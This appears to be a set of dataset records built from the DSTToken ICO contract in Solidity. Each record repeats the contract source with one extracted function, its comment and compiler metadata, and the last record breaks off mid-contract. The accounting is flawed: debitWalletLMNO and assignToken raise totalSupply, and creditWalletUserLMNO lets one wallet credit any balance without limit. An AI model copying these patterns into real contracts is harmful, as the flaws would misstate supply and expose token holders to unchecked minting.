function withdrawToken() public {
//require(walletA[msg.sender] > 0 || walletB[msg.sender] > 0 || walletC[msg.sender] > 0);
uint256 currentBalance = 0;
if(walletA[msg.sender] > 0){
uint256 unreleasedA = getReleasableAmount(0,msg.sender);
walletA[msg.sender] = safeSub(walletA[msg.sender], unreleasedA);
currentBalance = safeAdd(currentBalance, unreleasedA);
releasedA[msg.sender] = safeAdd(releasedA[msg.sender], unreleasedA);
}
if(walletB[msg.sender] > 0){
uint256 unreleasedB = getReleasableAmount(1,msg.sender);
walletB[msg.sender] = safeSub(walletB[msg.sender], unreleasedB);
currentBalance = safeAdd(currentBalance, unreleasedB);
releasedB[msg.sender] = safeAdd(releasedB[msg.sender], unreleasedB);
}
if(walletC[msg.sender] > 0){
uint256 unreleasedC = getReleasableAmount(2,msg.sender);
walletC[msg.sender] = safeSub(walletC[msg.sender], unreleasedC);
currentBalance = safeAdd(currentBalance, unreleasedC);
releasedC[msg.sender] = safeAdd(releasedC[msg.sender], unreleasedC);
}
require(currentBalance > 0);
// Assign tokens to the sender
balances[msg.sender] = safeAdd(balances[msg.sender], currentBalance);
}
function withdrawBonusToken() public {
//require(walletF[msg.sender] > 0 || walletG[msg.sender] > 0 || walletH[msg.sender] > 0);
uint256 currentBalance = 0;
if(walletF[msg.sender] > 0){
uint256 unreleasedF = getReleasableBonusAmount(5,msg.sender);
walletF[msg.sender] = safeSub(walletF[msg.sender], unreleasedF);
currentBalance = safeAdd(currentBalance, unreleasedF);
releasedF[msg.sender] = safeAdd(releasedF[msg.sender], unreleasedF);
}
if(walletG[msg.sender] > 0){
uint256 unreleasedG = getReleasableBonusAmount(6,msg.sender);
walletG[msg.sender] = safeSub(walletG[msg.sender], unreleasedG);
currentBalance = safeAdd(currentBalance, unreleasedG);
releasedG[msg.sender] = safeAdd(releasedG[msg.sender], unreleasedG);
}
if(walletH[msg.sender] > 0){
uint256 unreleasedH = getReleasableBonusAmount(7,msg.sender);
walletH[msg.sender] = safeSub(walletH[msg.sender], unreleasedH);
currentBalance = safeAdd(currentBalance, unreleasedH);
releasedH[msg.sender] = safeAdd(releasedH[msg.sender], unreleasedH);
}
require(currentBalance > 0);
// Assign tokens to the sender
balances[msg.sender] = safeAdd(balances[msg.sender], currentBalance);
}
function getReleasableAmount(uint256 _walletId,address _beneficiary) public view returns (uint256){
uint256 totalBalance;
if(_walletId == 0){
totalBalance = safeAdd(walletA[_beneficiary], releasedA[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedA[_beneficiary]);
}
else if(_walletId == 1){
totalBalance = safeAdd(walletB[_beneficiary], releasedB[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedB[_beneficiary]);
}
else if(_walletId == 2){
totalBalance = safeAdd(walletC[_beneficiary], releasedC[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedC[_beneficiary]);
}
else{
revert();
}
}
function getReleasableBonusAmount(uint256 _walletId,address _beneficiary) public view returns (uint256){
uint256 totalBalance;
if(_walletId == 5){
totalBalance = safeAdd(walletF[_beneficiary], releasedF[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedF[_beneficiary]);
}
else if(_walletId == 6){
totalBalance = safeAdd(walletG[_beneficiary], releasedG[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedG[_beneficiary]);
}
else if(_walletId == 7){
totalBalance = safeAdd(walletH[_beneficiary], releasedH[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedH[_beneficiary]);
}
else{
revert();
}
}
function getData(uint256 _walletId,uint256 _totalBalance) public view returns (uint256) {
uint256 availableBalanceIn = safeDiv(safeMul(_totalBalance, safeSub(allWalletConfig[_walletId].cliff, allWalletConfig[_walletId].start)), allWalletConfig[_walletId].duration);
return safeMul(availableBalanceIn, safeDiv(getVestedAmount(_walletId,_totalBalance), availableBalanceIn));
}
function getVestedAmount(uint256 _walletId,uint256 _totalBalance) public view returns (uint256) {
uint256 cliff = allWalletConfig[_walletId].cliff;
uint256 start = allWalletConfig[_walletId].start;
uint256 duration = allWalletConfig[_walletId].duration;
if (now < cliff) {
return 0;
} else if (now >= safeAdd(start,duration)) {
return _totalBalance;
} else {
return safeDiv(safeMul(_totalBalance,safeSub(now,start)),duration);
}
}
// Sale of the tokens. Investors can call this method to invest into DST Tokens
function() payable external {
// Allow only to invest in ICO stage
require(startStop);
// Sorry !! We only allow to invest with minimum 1 Ether as value
require(msg.value >= 1 ether);
// multiply by exchange rate to get newly created token amount
uint256 createdTokens = safeMul(msg.value, tokensPerEther);
// Call to Internal function to assign tokens
assignTokensWallet(walletAddresses[3],msg.sender, createdTokens);
}
// DST accepts Cash Investment through manual process in Fiat Currency
// DST Team will assign the tokens to investors manually through this function
//@ param cashInvestor address of investor
//@ param assignedTokens number of tokens to give to investor
function cashInvestment(address cashInvestor, uint256 assignedTokens) onlyOwner external {
// Check if cashInvestor address is set or not
// By mistake tokens mentioned as 0, save the cost of assigning tokens.
require(cashInvestor != address(0) && assignedTokens > 0);
// Call to Internal function to assign tokens
assignTokensWallet(walletAddresses[4],cashInvestor, assignedTokens);
}
// // Function will transfer the tokens to investor's address
// // Common function code for Crowdsale Investor And Cash Investor
// function assignTokens(address investor, uint256 tokens) internal {
// // Creating tokens and increasing the totalSupply
// totalSupply = safeAdd(totalSupply, tokens);
// // Assign new tokens to the sender
// balances[investor] = safeAdd(balances[investor], tokens);
// // Finally token created for sender, log the creation event
// Transfer(0, investor, tokens);
// }
// Function will transfer the tokens to investor's address
// Common function code for Crowdsale Investor And Cash Investor
function assignTokensWallet(address walletAddress,address investor, uint256 tokens) internal {
// Check wallet have enough token balance to assign
require(tokens <= balances[walletAddress]);
// Creating tokens and increasing the totalSupply
totalSupply = safeAdd(totalSupply, tokens);
// Debit the tokens from wallet
balances[walletAddress] = safeSub(balances[walletAddress],tokens);
// Assign new tokens to the sender
balances[investor] = safeAdd(balances[investor], tokens);
// Finally token created for sender, log the creation event
Transfer(0, investor, tokens);
}
function finalizeCrowdSale() external{
// Check DST Multisig wallet set or not
require(DSTMultisig != address(0));
// Send fund to multisig wallet
require(DSTMultisig.send(address(this).balance));
}
// @param _who The address of the investor to check balance
// @return balance tokens of investor address
function balanceOf(address _who) public constant returns (uint) {
return balances[_who];
}
// @param _owner The address of the account owning tokens
// @param _spender The address of the account able to transfer the tokens
// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) public constant returns (uint) {
return allowed[_owner][_spender];
}
// Transfer `value` DST tokens from sender's account
// `msg.sender` to provided account address `to`.
// @param _to The address of the recipient
// @param _value The number of DST tokens to transfer
// @return Whether the transfer was successful or not
function transfer(address _to, uint _value) public returns (bool ok) {
//validate receiver address and value.Not allow 0 value
require(_to != 0 && _value > 0);
uint256 senderBalance = balances[msg.sender];
//Check sender have enough balance
require(senderBalance >= _value);
senderBalance = safeSub(senderBalance, _value);
balances[msg.sender] = senderBalance;
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
// Transfer `value` DST tokens from sender 'from'
// to provided account address `to`.
// @param from The address of the sender
// @param to The address of the recipient
// @param value The number of miBoodle to transfer
// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint _value) public returns (bool ok) {
//validate _from,_to address and _value(Now allow with 0)
require(_from != 0 && _to != 0 && _value > 0);
//Check amount is approved by the owner for spender to spent and owner have enough balances
require(allowed[_from][msg.sender] >= _value && balances[_from] >= _value);
balances[_from] = safeSub(balances[_from],_value);
balances[_to] = safeAdd(balances[_to],_value);
allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender],_value);
Transfer(_from, _to, _value);
return true;
}
// `msg.sender` approves `spender` to spend `value` tokens
// @param spender The address of the account able to transfer the tokens
// @param value The amount of wei to be approved for transfer
// @return Whether the approval was successful or not
function approve(address _spender, uint _value) public returns (bool ok) {
//validate _spender address
require(_spender != 0);
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
// This method is only use for debit DSTToken from DST wallet L,M,N and O
// @dev Required state: is dstWalletLMNO set
// @param _walletAddress The address of the wallet from tokens debit
// @param token The number of DST tokens to debit
// @return Whether the debit was successful or not
function debitWalletLMNO(address _walletAddress,uint256 token) external onlyDSTWalletLMNO returns (bool){
// Check if DST wallet LMNO is set or not
require(dstWalletLMNO != address(0));
// Check wallet have enough token and token is valid
require(balances[_walletAddress] >= token && token > 0);
// Increasing the totalSupply
totalSupply = safeAdd(totalSupply, token);
// Debit tokens from wallet balance
balances[_walletAddress] = safeSub(balances[_walletAddress],token);
return true;
}
// This method is only use for credit DSTToken to DST wallet L,M,N and O users
// @dev Required state: is dstWalletLMNO set
// @param claimAddress The address of the wallet user to credit tokens
// @param token The number of DST tokens to credit
// @return Whether the credit was successful or not
function creditWalletUserLMNO(address claimAddress,uint256 token) external onlyDSTWalletLMNO returns (bool){
// Check if DST wallet LMNO is set or not
require(dstWalletLMNO != address(0));
// Check claiment address and token is valid or not
require(claimAddress != address(0) && token > 0);
// Assign tokens to user
balances[claimAddress] = safeAdd(balances[claimAddress], token);
// balances[_walletAddress] = safeSub(balances[_walletAddress],token);
return true;
}
// DSTWalletLMNO related modifer
// @dev Throws if called by any account other than the DSTWalletLMNO owner
modifier onlyDSTWalletLMNO() {
require(msg.sender == dstWalletLMNO);
_;
}
} | approve | function approve(address _spender, uint _value) public returns (bool ok) {
//validate _spender address
require(_spender != 0);
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
| // `msg.sender` approves `spender` to spend `value` tokens
// @param spender The address of the account able to transfer the tokens
// @param value The amount of wei to be approved for transfer
// @return Whether the approval was successful or not | LineComment | v0.4.18+commit.9cf6e910 | bzzr://8144d0818eaf9b3524a6cb0e7e938e7d023ea6924bfecc3c627a546b3b11561e | {
"func_code_index": [
16090,
16366
]
} | 8,963 |
|||
DSTToken | DSTToken.sol | 0x5befe0f9a29ba63aec7664e7f5e9c198e5be113b | Solidity | DSTToken | contract DSTToken is ERC20, Ownable, SafeMath {
// Token related informations
string public constant name = "Decentralize Silver Token";
string public constant symbol = "DST";
uint256 public constant decimals = 18; // decimal places
uint256 public tokensPerEther = 1500;
// MultiSig Wallet Address
address public DSTMultisig;
// Wallet L,M,N and O address
address dstWalletLMNO;
bool public startStop = false;
mapping (address => uint256) public walletA;
mapping (address => uint256) public walletB;
mapping (address => uint256) public walletC;
mapping (address => uint256) public walletF;
mapping (address => uint256) public walletG;
mapping (address => uint256) public walletH;
mapping (address => uint256) public releasedA;
mapping (address => uint256) public releasedB;
mapping (address => uint256) public releasedC;
mapping (address => uint256) public releasedF;
mapping (address => uint256) public releasedG;
mapping (address => uint256) public releasedH;
// Mapping of token balance and allowed address for each address with transfer limit
mapping (address => uint256) balances;
//mapping of allowed address for each address with tranfer limit
mapping (address => mapping (address => uint256)) allowed;
struct WalletConfig{
uint256 start;
uint256 cliff;
uint256 duration;
}
mapping (uint => address) public walletAddresses;
mapping (uint => WalletConfig) public allWalletConfig;
// @param _dstWalletLMNO Ether Address for wallet L,M,N and O
// Only to be called by Owner of this contract
function setDSTWalletLMNO(address _dstWalletLMNO) onlyOwner external{
require(_dstWalletLMNO != address(0));
dstWalletLMNO = _dstWalletLMNO;
}
// Owner can Set Multisig wallet
// @param _dstMultisig address of Multisig wallet.
function setDSTMultiSig(address _dstMultisig) onlyOwner external{
require(_dstMultisig != address(0));
DSTMultisig = _dstMultisig;
}
function startStopICO(bool status) onlyOwner external{
startStop = status;
}
function addWalletAddressAndTokens(uint _id, address _walletAddress, uint256 _tokens) onlyOwner external{
require(_walletAddress != address(0));
walletAddresses[_id] = _walletAddress;
balances[_walletAddress] = safeAdd(balances[_walletAddress],_tokens); // wallet tokens initialize
}
// function preAllocation(uint256 _walletId, uint256 _tokens) onlyOwner external{
// require(_tokens > 0);
// balances[walletAddresses[_walletId]] = safeAdd(balances[walletAddresses[_walletId]],_tokens); // wallet tokens initialize
// }
function addWalletConfig(uint256 _id, uint256 _start, uint256 _cliff, uint256 _duration) onlyOwner external{
uint256 start = safeAdd(_start,now);
uint256 cliff = safeAdd(start,_cliff);
allWalletConfig[_id] = WalletConfig(
start,
cliff,
_duration
);
}
function assignToken(address _investor,uint256 _tokens) external {
// Check investor address and tokens.Not allow 0 value
require(_investor != address(0) && _tokens > 0);
// Check wallet have enough token balance to assign
require(_tokens <= balances[msg.sender]);
// Debit the tokens from the wallet
balances[msg.sender] = safeSub(balances[msg.sender],_tokens);
// Increasing the totalSupply
totalSupply = safeAdd(totalSupply, _tokens);
// Assign tokens to the investor
if(msg.sender == walletAddresses[0]){
walletA[_investor] = safeAdd(walletA[_investor],_tokens);
}
else if(msg.sender == walletAddresses[1]){
walletB[_investor] = safeAdd(walletB[_investor],_tokens);
}
else if(msg.sender == walletAddresses[2]){
walletC[_investor] = safeAdd(walletC[_investor],_tokens);
}
else if(msg.sender == walletAddresses[5]){
walletF[_investor] = safeAdd(walletF[_investor],_tokens);
}
else if(msg.sender == walletAddresses[6]){
walletG[_investor] = safeAdd(walletG[_investor],_tokens);
}
else if(msg.sender == walletAddresses[7]){
walletH[_investor] = safeAdd(walletH[_investor],_tokens);
}
else{
revert();
}
}
function assignTokenIJK(address _userAddress,uint256 _tokens) external {
require(msg.sender == walletAddresses[8] || msg.sender == walletAddresses[9] || msg.sender == walletAddresses[10]);
// Check investor address and tokens.Not allow 0 value
require(_userAddress != address(0) && _tokens > 0);
// Assign tokens to the investor
assignTokensWallet(msg.sender,_userAddress, _tokens);
}
function withdrawToken() public {
//require(walletA[msg.sender] > 0 || walletB[msg.sender] > 0 || walletC[msg.sender] > 0);
uint256 currentBalance = 0;
if(walletA[msg.sender] > 0){
uint256 unreleasedA = getReleasableAmount(0,msg.sender);
walletA[msg.sender] = safeSub(walletA[msg.sender], unreleasedA);
currentBalance = safeAdd(currentBalance, unreleasedA);
releasedA[msg.sender] = safeAdd(releasedA[msg.sender], unreleasedA);
}
if(walletB[msg.sender] > 0){
uint256 unreleasedB = getReleasableAmount(1,msg.sender);
walletB[msg.sender] = safeSub(walletB[msg.sender], unreleasedB);
currentBalance = safeAdd(currentBalance, unreleasedB);
releasedB[msg.sender] = safeAdd(releasedB[msg.sender], unreleasedB);
}
if(walletC[msg.sender] > 0){
uint256 unreleasedC = getReleasableAmount(2,msg.sender);
walletC[msg.sender] = safeSub(walletC[msg.sender], unreleasedC);
currentBalance = safeAdd(currentBalance, unreleasedC);
releasedC[msg.sender] = safeAdd(releasedC[msg.sender], unreleasedC);
}
require(currentBalance > 0);
// Assign tokens to the sender
balances[msg.sender] = safeAdd(balances[msg.sender], currentBalance);
}
function withdrawBonusToken() public {
//require(walletF[msg.sender] > 0 || walletG[msg.sender] > 0 || walletH[msg.sender] > 0);
uint256 currentBalance = 0;
if(walletF[msg.sender] > 0){
uint256 unreleasedF = getReleasableBonusAmount(5,msg.sender);
walletF[msg.sender] = safeSub(walletF[msg.sender], unreleasedF);
currentBalance = safeAdd(currentBalance, unreleasedF);
releasedF[msg.sender] = safeAdd(releasedF[msg.sender], unreleasedF);
}
if(walletG[msg.sender] > 0){
uint256 unreleasedG = getReleasableBonusAmount(6,msg.sender);
walletG[msg.sender] = safeSub(walletG[msg.sender], unreleasedG);
currentBalance = safeAdd(currentBalance, unreleasedG);
releasedG[msg.sender] = safeAdd(releasedG[msg.sender], unreleasedG);
}
if(walletH[msg.sender] > 0){
uint256 unreleasedH = getReleasableBonusAmount(7,msg.sender);
walletH[msg.sender] = safeSub(walletH[msg.sender], unreleasedH);
currentBalance = safeAdd(currentBalance, unreleasedH);
releasedH[msg.sender] = safeAdd(releasedH[msg.sender], unreleasedH);
}
require(currentBalance > 0);
// Assign tokens to the sender
balances[msg.sender] = safeAdd(balances[msg.sender], currentBalance);
}
function getReleasableAmount(uint256 _walletId,address _beneficiary) public view returns (uint256){
uint256 totalBalance;
if(_walletId == 0){
totalBalance = safeAdd(walletA[_beneficiary], releasedA[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedA[_beneficiary]);
}
else if(_walletId == 1){
totalBalance = safeAdd(walletB[_beneficiary], releasedB[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedB[_beneficiary]);
}
else if(_walletId == 2){
totalBalance = safeAdd(walletC[_beneficiary], releasedC[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedC[_beneficiary]);
}
else{
revert();
}
}
function getReleasableBonusAmount(uint256 _walletId,address _beneficiary) public view returns (uint256){
uint256 totalBalance;
if(_walletId == 5){
totalBalance = safeAdd(walletF[_beneficiary], releasedF[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedF[_beneficiary]);
}
else if(_walletId == 6){
totalBalance = safeAdd(walletG[_beneficiary], releasedG[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedG[_beneficiary]);
}
else if(_walletId == 7){
totalBalance = safeAdd(walletH[_beneficiary], releasedH[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedH[_beneficiary]);
}
else{
revert();
}
}
function getData(uint256 _walletId,uint256 _totalBalance) public view returns (uint256) {
uint256 availableBalanceIn = safeDiv(safeMul(_totalBalance, safeSub(allWalletConfig[_walletId].cliff, allWalletConfig[_walletId].start)), allWalletConfig[_walletId].duration);
return safeMul(availableBalanceIn, safeDiv(getVestedAmount(_walletId,_totalBalance), availableBalanceIn));
}
function getVestedAmount(uint256 _walletId,uint256 _totalBalance) public view returns (uint256) {
uint256 cliff = allWalletConfig[_walletId].cliff;
uint256 start = allWalletConfig[_walletId].start;
uint256 duration = allWalletConfig[_walletId].duration;
if (now < cliff) {
return 0;
} else if (now >= safeAdd(start,duration)) {
return _totalBalance;
} else {
return safeDiv(safeMul(_totalBalance,safeSub(now,start)),duration);
}
}
// Sale of the tokens. Investors can call this method to invest into DST Tokens
function() payable external {
// Allow only to invest in ICO stage
require(startStop);
// Sorry !! We only allow to invest with minimum 1 Ether as value
require(msg.value >= 1 ether);
// multiply by exchange rate to get newly created token amount
uint256 createdTokens = safeMul(msg.value, tokensPerEther);
// Call to Internal function to assign tokens
assignTokensWallet(walletAddresses[3],msg.sender, createdTokens);
}
// DST accepts Cash Investment through manual process in Fiat Currency
// DST Team will assign the tokens to investors manually through this function
//@ param cashInvestor address of investor
//@ param assignedTokens number of tokens to give to investor
function cashInvestment(address cashInvestor, uint256 assignedTokens) onlyOwner external {
// Check if cashInvestor address is set or not
// By mistake tokens mentioned as 0, save the cost of assigning tokens.
require(cashInvestor != address(0) && assignedTokens > 0);
// Call to Internal function to assign tokens
assignTokensWallet(walletAddresses[4],cashInvestor, assignedTokens);
}
// // Function will transfer the tokens to investor's address
// // Common function code for Crowdsale Investor And Cash Investor
// function assignTokens(address investor, uint256 tokens) internal {
// // Creating tokens and increasing the totalSupply
// totalSupply = safeAdd(totalSupply, tokens);
// // Assign new tokens to the sender
// balances[investor] = safeAdd(balances[investor], tokens);
// // Finally token created for sender, log the creation event
// Transfer(0, investor, tokens);
// }
// Function will transfer the tokens to investor's address
// Common function code for Crowdsale Investor And Cash Investor
function assignTokensWallet(address walletAddress,address investor, uint256 tokens) internal {
// Check wallet have enough token balance to assign
require(tokens <= balances[walletAddress]);
// Creating tokens and increasing the totalSupply
totalSupply = safeAdd(totalSupply, tokens);
// Debit the tokens from wallet
balances[walletAddress] = safeSub(balances[walletAddress],tokens);
// Assign new tokens to the sender
balances[investor] = safeAdd(balances[investor], tokens);
// Finally token created for sender, log the creation event
Transfer(0, investor, tokens);
}
function finalizeCrowdSale() external{
// Check DST Multisig wallet set or not
require(DSTMultisig != address(0));
// Send fund to multisig wallet
require(DSTMultisig.send(address(this).balance));
}
// @param _who The address of the investor to check balance
// @return balance tokens of investor address
function balanceOf(address _who) public constant returns (uint) {
return balances[_who];
}
// @param _owner The address of the account owning tokens
// @param _spender The address of the account able to transfer the tokens
// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) public constant returns (uint) {
return allowed[_owner][_spender];
}
// Transfer `value` DST tokens from sender's account
// `msg.sender` to provided account address `to`.
// @param _to The address of the recipient
// @param _value The number of DST tokens to transfer
// @return Whether the transfer was successful or not
function transfer(address _to, uint _value) public returns (bool ok) {
//validate receiver address and value.Not allow 0 value
require(_to != 0 && _value > 0);
uint256 senderBalance = balances[msg.sender];
//Check sender have enough balance
require(senderBalance >= _value);
senderBalance = safeSub(senderBalance, _value);
balances[msg.sender] = senderBalance;
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
// Transfer `value` DST tokens from sender 'from'
// to provided account address `to`.
// @param from The address of the sender
// @param to The address of the recipient
// @param value The number of miBoodle to transfer
// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint _value) public returns (bool ok) {
//validate _from,_to address and _value(Now allow with 0)
require(_from != 0 && _to != 0 && _value > 0);
//Check amount is approved by the owner for spender to spent and owner have enough balances
require(allowed[_from][msg.sender] >= _value && balances[_from] >= _value);
balances[_from] = safeSub(balances[_from],_value);
balances[_to] = safeAdd(balances[_to],_value);
allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender],_value);
Transfer(_from, _to, _value);
return true;
}
// `msg.sender` approves `spender` to spend `value` tokens
// @param spender The address of the account able to transfer the tokens
// @param value The amount of wei to be approved for transfer
// @return Whether the approval was successful or not
function approve(address _spender, uint _value) public returns (bool ok) {
//validate _spender address
require(_spender != 0);
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
// This method is only use for debit DSTToken from DST wallet L,M,N and O
// @dev Required state: is dstWalletLMNO set
// @param _walletAddress The address of the wallet from tokens debit
// @param token The number of DST tokens to debit
// @return Whether the debit was successful or not
function debitWalletLMNO(address _walletAddress,uint256 token) external onlyDSTWalletLMNO returns (bool){
// Check if DST wallet LMNO is set or not
require(dstWalletLMNO != address(0));
// Check wallet have enough token and token is valid
require(balances[_walletAddress] >= token && token > 0);
// Increasing the totalSupply
totalSupply = safeAdd(totalSupply, token);
// Debit tokens from wallet balance
balances[_walletAddress] = safeSub(balances[_walletAddress],token);
return true;
}
// This method is only use for credit DSTToken to DST wallet L,M,N and O users
// @dev Required state: is dstWalletLMNO set
// @param claimAddress The address of the wallet user to credit tokens
// @param token The number of DST tokens to credit
// @return Whether the credit was successful or not
function creditWalletUserLMNO(address claimAddress,uint256 token) external onlyDSTWalletLMNO returns (bool){
// Check if DST wallet LMNO is set or not
require(dstWalletLMNO != address(0));
// Check claiment address and token is valid or not
require(claimAddress != address(0) && token > 0);
// Assign tokens to user
balances[claimAddress] = safeAdd(balances[claimAddress], token);
// balances[_walletAddress] = safeSub(balances[_walletAddress],token);
return true;
}
// DSTWalletLMNO related modifer
// @dev Throws if called by any account other than the DSTWalletLMNO owner
modifier onlyDSTWalletLMNO() {
require(msg.sender == dstWalletLMNO);
_;
}
} | debitWalletLMNO | function debitWalletLMNO(address _walletAddress,uint256 token) external onlyDSTWalletLMNO returns (bool){
// Check if DST wallet LMNO is set or not
require(dstWalletLMNO != address(0));
// Check wallet have enough token and token is valid
require(balances[_walletAddress] >= token && token > 0);
// Increasing the totalSupply
totalSupply = safeAdd(totalSupply, token);
// Debit tokens from wallet balance
balances[_walletAddress] = safeSub(balances[_walletAddress],token);
return true;
}
| // This method is only use for debit DSTToken from DST wallet L,M,N and O
// @dev Required state: is dstWalletLMNO set
// @param _walletAddress The address of the wallet from tokens debit
// @param token The number of DST tokens to debit
// @return Whether the debit was successful or not | LineComment | v0.4.18+commit.9cf6e910 | bzzr://8144d0818eaf9b3524a6cb0e7e938e7d023ea6924bfecc3c627a546b3b11561e | {
"func_code_index": [
16683,
17261
]
} | 8,964 |
|||
DSTToken | DSTToken.sol | 0x5befe0f9a29ba63aec7664e7f5e9c198e5be113b | Solidity | DSTToken | contract DSTToken is ERC20, Ownable, SafeMath {
// Token related informations
string public constant name = "Decentralize Silver Token";
string public constant symbol = "DST";
uint256 public constant decimals = 18; // decimal places
uint256 public tokensPerEther = 1500;
// MultiSig Wallet Address
address public DSTMultisig;
// Wallet L,M,N and O address
address dstWalletLMNO;
bool public startStop = false;
mapping (address => uint256) public walletA;
mapping (address => uint256) public walletB;
mapping (address => uint256) public walletC;
mapping (address => uint256) public walletF;
mapping (address => uint256) public walletG;
mapping (address => uint256) public walletH;
mapping (address => uint256) public releasedA;
mapping (address => uint256) public releasedB;
mapping (address => uint256) public releasedC;
mapping (address => uint256) public releasedF;
mapping (address => uint256) public releasedG;
mapping (address => uint256) public releasedH;
// Mapping of token balance and allowed address for each address with transfer limit
mapping (address => uint256) balances;
//mapping of allowed address for each address with tranfer limit
mapping (address => mapping (address => uint256)) allowed;
struct WalletConfig{
uint256 start;
uint256 cliff;
uint256 duration;
}
mapping (uint => address) public walletAddresses;
mapping (uint => WalletConfig) public allWalletConfig;
// @param _dstWalletLMNO Ether Address for wallet L,M,N and O
// Only to be called by Owner of this contract
function setDSTWalletLMNO(address _dstWalletLMNO) onlyOwner external{
require(_dstWalletLMNO != address(0));
dstWalletLMNO = _dstWalletLMNO;
}
// Owner can Set Multisig wallet
// @param _dstMultisig address of Multisig wallet.
function setDSTMultiSig(address _dstMultisig) onlyOwner external{
require(_dstMultisig != address(0));
DSTMultisig = _dstMultisig;
}
function startStopICO(bool status) onlyOwner external{
startStop = status;
}
function addWalletAddressAndTokens(uint _id, address _walletAddress, uint256 _tokens) onlyOwner external{
require(_walletAddress != address(0));
walletAddresses[_id] = _walletAddress;
balances[_walletAddress] = safeAdd(balances[_walletAddress],_tokens); // wallet tokens initialize
}
// function preAllocation(uint256 _walletId, uint256 _tokens) onlyOwner external{
// require(_tokens > 0);
// balances[walletAddresses[_walletId]] = safeAdd(balances[walletAddresses[_walletId]],_tokens); // wallet tokens initialize
// }
function addWalletConfig(uint256 _id, uint256 _start, uint256 _cliff, uint256 _duration) onlyOwner external{
uint256 start = safeAdd(_start,now);
uint256 cliff = safeAdd(start,_cliff);
allWalletConfig[_id] = WalletConfig(
start,
cliff,
_duration
);
}
function assignToken(address _investor,uint256 _tokens) external {
// Check investor address and tokens.Not allow 0 value
require(_investor != address(0) && _tokens > 0);
// Check wallet have enough token balance to assign
require(_tokens <= balances[msg.sender]);
// Debit the tokens from the wallet
balances[msg.sender] = safeSub(balances[msg.sender],_tokens);
// Increasing the totalSupply
totalSupply = safeAdd(totalSupply, _tokens);
// Assign tokens to the investor
if(msg.sender == walletAddresses[0]){
walletA[_investor] = safeAdd(walletA[_investor],_tokens);
}
else if(msg.sender == walletAddresses[1]){
walletB[_investor] = safeAdd(walletB[_investor],_tokens);
}
else if(msg.sender == walletAddresses[2]){
walletC[_investor] = safeAdd(walletC[_investor],_tokens);
}
else if(msg.sender == walletAddresses[5]){
walletF[_investor] = safeAdd(walletF[_investor],_tokens);
}
else if(msg.sender == walletAddresses[6]){
walletG[_investor] = safeAdd(walletG[_investor],_tokens);
}
else if(msg.sender == walletAddresses[7]){
walletH[_investor] = safeAdd(walletH[_investor],_tokens);
}
else{
revert();
}
}
function assignTokenIJK(address _userAddress,uint256 _tokens) external {
require(msg.sender == walletAddresses[8] || msg.sender == walletAddresses[9] || msg.sender == walletAddresses[10]);
// Check investor address and tokens.Not allow 0 value
require(_userAddress != address(0) && _tokens > 0);
// Assign tokens to the investor
assignTokensWallet(msg.sender,_userAddress, _tokens);
}
function withdrawToken() public {
//require(walletA[msg.sender] > 0 || walletB[msg.sender] > 0 || walletC[msg.sender] > 0);
uint256 currentBalance = 0;
if(walletA[msg.sender] > 0){
uint256 unreleasedA = getReleasableAmount(0,msg.sender);
walletA[msg.sender] = safeSub(walletA[msg.sender], unreleasedA);
currentBalance = safeAdd(currentBalance, unreleasedA);
releasedA[msg.sender] = safeAdd(releasedA[msg.sender], unreleasedA);
}
if(walletB[msg.sender] > 0){
uint256 unreleasedB = getReleasableAmount(1,msg.sender);
walletB[msg.sender] = safeSub(walletB[msg.sender], unreleasedB);
currentBalance = safeAdd(currentBalance, unreleasedB);
releasedB[msg.sender] = safeAdd(releasedB[msg.sender], unreleasedB);
}
if(walletC[msg.sender] > 0){
uint256 unreleasedC = getReleasableAmount(2,msg.sender);
walletC[msg.sender] = safeSub(walletC[msg.sender], unreleasedC);
currentBalance = safeAdd(currentBalance, unreleasedC);
releasedC[msg.sender] = safeAdd(releasedC[msg.sender], unreleasedC);
}
require(currentBalance > 0);
// Assign tokens to the sender
balances[msg.sender] = safeAdd(balances[msg.sender], currentBalance);
}
function withdrawBonusToken() public {
//require(walletF[msg.sender] > 0 || walletG[msg.sender] > 0 || walletH[msg.sender] > 0);
uint256 currentBalance = 0;
if(walletF[msg.sender] > 0){
uint256 unreleasedF = getReleasableBonusAmount(5,msg.sender);
walletF[msg.sender] = safeSub(walletF[msg.sender], unreleasedF);
currentBalance = safeAdd(currentBalance, unreleasedF);
releasedF[msg.sender] = safeAdd(releasedF[msg.sender], unreleasedF);
}
if(walletG[msg.sender] > 0){
uint256 unreleasedG = getReleasableBonusAmount(6,msg.sender);
walletG[msg.sender] = safeSub(walletG[msg.sender], unreleasedG);
currentBalance = safeAdd(currentBalance, unreleasedG);
releasedG[msg.sender] = safeAdd(releasedG[msg.sender], unreleasedG);
}
if(walletH[msg.sender] > 0){
uint256 unreleasedH = getReleasableBonusAmount(7,msg.sender);
walletH[msg.sender] = safeSub(walletH[msg.sender], unreleasedH);
currentBalance = safeAdd(currentBalance, unreleasedH);
releasedH[msg.sender] = safeAdd(releasedH[msg.sender], unreleasedH);
}
require(currentBalance > 0);
// Assign tokens to the sender
balances[msg.sender] = safeAdd(balances[msg.sender], currentBalance);
}
function getReleasableAmount(uint256 _walletId,address _beneficiary) public view returns (uint256){
